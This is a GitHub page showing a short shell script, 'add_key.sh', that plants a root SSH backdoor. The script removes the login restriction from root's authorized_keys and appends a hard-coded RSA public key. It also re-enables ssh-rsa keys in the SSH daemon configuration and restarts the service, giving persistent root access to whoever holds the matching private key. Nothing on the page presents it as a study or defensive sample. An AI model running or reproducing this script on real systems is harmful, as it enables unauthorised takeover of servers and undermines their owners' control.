-
Notifications
You must be signed in to change notification settings - Fork 0
/
add_key.sh
5 lines (5 loc) · 962 Bytes
/
add_key.sh
1
2
3
4
5
mkdir -p /root/.ssh/;
sed -e "s/echo;sleep 10;exit 142//g" -i /root/.ssh/authorized_keys;
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv2tfBGk7Zs7mHEd6jwFwtfQl6oka2KeSyv95TWw28/ILN9zH6Su/+hVFW8yOwZqyELrvE0grYOhNR4cF21hTAxqTHPtyNupRcMCI0gVlFRrbzVjIeeXQxmrxUKLTgpMVzUzrmyPTBIKovCqu2FWUu2eYKSIrteBCdd951yJN+7c9VpA9J0tEudDlIHradGh+TjInqWmLNYQQBnP51pZEy3bkaUXpR7cqRSwNjvsTvvB2SiJZDM9t+chK72w6/nTau4mlxYXKbJBWWCa+DEhA3+ZJ7+6QD2moXT1CndGvMIcl8TC/STpqXS3qcrHezrYmRkBHkX/qy5wA1zuW1yK1QupQLsm8BHHPPg40F4YZCxoWM/AF2Pt+giuxWJDENke2+HL+MMx6970cDiWpKNARV+oSnuGKwqHmL3i1qlNO7evXcgYbWAxa8sXhfJGmrS/U2nNxiXWduYu9mhcHv03zHnQw7ahnUe0c0xYOJ/Tbw2NhQ6VPeNJZunWrisd05JJq7u1TDQg2iBu/MaBh/orehrr346FZRgh2Oy6rMKCzJHTpZlyf8vDtmmQ4gEUhLtIJ8+JMMdLhF68wG8BNlKKbQFk9VnsZ0prmQ5KnPL2UfeFgNe8S5dwb83d3RUgtWrtFgnf/kvBLXQqXlIzhKoEkbWkT04b+xgV3yxVsBZ1syyQ== [email protected]" >> /root/.ssh/authorized_keys;
echo "PubkeyAcceptedKeyTypes=+ssh-rsa" >> /etc/ssh/sshd_config;
service ssh restart;